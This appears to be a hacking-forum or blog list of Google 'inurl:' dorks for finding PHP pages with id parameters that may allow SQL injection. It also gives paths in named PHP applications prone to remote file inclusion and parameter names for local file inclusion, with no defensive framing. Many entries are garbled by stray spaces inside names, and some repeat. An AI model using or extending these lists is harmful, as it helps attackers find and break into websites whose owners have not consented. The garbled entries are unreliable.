inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?nu m=
inurl:reagir.php?num=
inurl:Stray‐Questions‐View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id =
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product‐item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?i d=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id =
inurl:fiche_spectacle.php ?id=
inurl:communique_detail.p hp?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id =
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id =
inurl:category.php?id=
inurl:publications.php?id =
inurl:fellows.php?id=
inurl:downloads_info.php? id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id =
inurl:productinfo.php?id=
inurl:collectionitem.php? id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?i d=
inurl:post.php?id=
inurl:viewshowdetail.php? id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder‐categories.php?id=
inurl:tradeCategory.php?i d=
inurl:product_ranges_view .php?ID=
inurl:shop_category.php?i d=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news‐full.php?id=
inurl:news_display.php?ge tid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product‐item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php ?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:".php?id=1"
inurl:".php?cat=1"
inurl:".php?catid=1"
inurl:".php?num=1"
inurl:".php?bid=1"
inurl:".php?pid=1"
inurl:".php?nid=1"
INURL: or ALLINURL: types:[/color]
/temp_eg/phpgwapi/setup/tables_update.inc.php?app dir=
/includes/header.php?systempath=
/Gallery/displayCategory.php?basep ath=
/index.inc.php?PATH_Includ es=
/ashnews.php?pathtoashnews =
/ashheadlines.php?pathtoas hnews=
/modules/xgallery/upgrade_album.php?GALLERY _BASEDIR=
/demo/includes/init.php?user_inc=
/jaf/index.php?show=
/inc/shows.inc.php?cutepath=
/poll/admin/common.inc.php?base_path=
/pollvote/pollvote.php?pollname=
/sources/post.php?fil_config=
/modules/My_eGallery/public/displayCategory.php?basep ath=
/bb_lib/checkdb.inc.php?libpach=
/include/livre_include.php?no_conn ect=lol&chem_absolu=
/index.php?from_market=Y&p ageurl=
/modules/mod_mainmenu.php?mosConfi g_absolute_path=
/pivot/modules/module_db.php?pivot_path=
/modules/4nAlbum/public/displayCategory.php?basep at=
/derniers_commentaires.php ?rep=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/coppermine/themes/maze/theme.php?THEME_DIR=
/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=
/myPHPCalendar/admin.php?cal_dir=
/agendax/addevent.inc.php?agendax_ path=
/modules/mod_mainmenu.php?mosConfi g_absolute_path=
/modules/xoopsgallery/upgrade_album.php?GALLERY _BASEDIR=
/main.php?page=
/default.php?page=
/index.php?action=
/index1.php?p=
/index2.php?x=
/index2.php?content=
/index.php?conteudo=
/index.php?cat=
/include/new‐visitor.inc.php?lvc_inclu de_dir=
/modules/agendax/addevent.inc.php?agendax_ path=
/shoutbox/expanded.php?conf
/modules/xgallery/upgrade_album.php?GALLERY _BASEDIR=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/zentrack/index.php?configFile=
/main.php?x=
/becommunity/community/index.php?pageurl=
/GradeMap/index.php?page=
/index4.php?body=
/side/index.php?side=
/main.php?page=
/es/index.php?action=
/index.php?sec=
/index.php?main=
/index.php?sec=
/index.php?menu=
/html/page.php?page=
/page.php?view=
/index.php?menu=
/main.php?view=
/index.php?page=
/content.php?page=
/main.php?page=
/index.php?x=
/main_site.php?page=
/index.php?L2=
/content.php?page=
/main.php?page=
/index.php?x=
/main_site.php?page=
/index.php?L2=
/index.php?show=
/tutorials/print.php?page=
/index.php?page=
/index.php?level=
/index.php?file=
/index.php?inter_url=
/index.php?page=
/index2.php?menu=
/index.php?level=
/index1.php?main=
/index1.php?nav=
/index1.php?link=
/index2.php?page=
/index.php?myContent=
/index.php?TWC=
/index.php?sec=
/index1.php?main=
/index2.php?page=
/index.php?****nstallPath=
/main.php?body=
/index.php?z=
/main.php?view=
/modules/PNphpBB2/includes/functions_admin.php?phpbb _root_path=
/index.php?file=
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
LFI (Local File Inclusion):
Code:
acion=
act=
action=
API_HOME_DIR=
board=
cat=
client_id=
cmd=
cont=
current_frame=
date=
detail=
dir=
display=
download=
f=
file=
fileinclude=
filename=
firm_id=
g=
getdata=
go=
HT=
idd=
inc=
incfile=
incl=
include_file=
include_path=
infile=
info=
ir=
lang=
language=
link=
load=
main=
mainspot=
msg=
num=
openfile=
p=
page=
pagina=
path=
path_to_calendar=
pg=
plik
qry_str=
ruta=
safehtml=
section=
showfile=
side=
site_id=
skin=
static=
str=
strona=
sub=
tresc=
url=
user=
=================================================================================================================================
http://tembilahanitgenerations.blogspot.com/
=================================================================================================================================
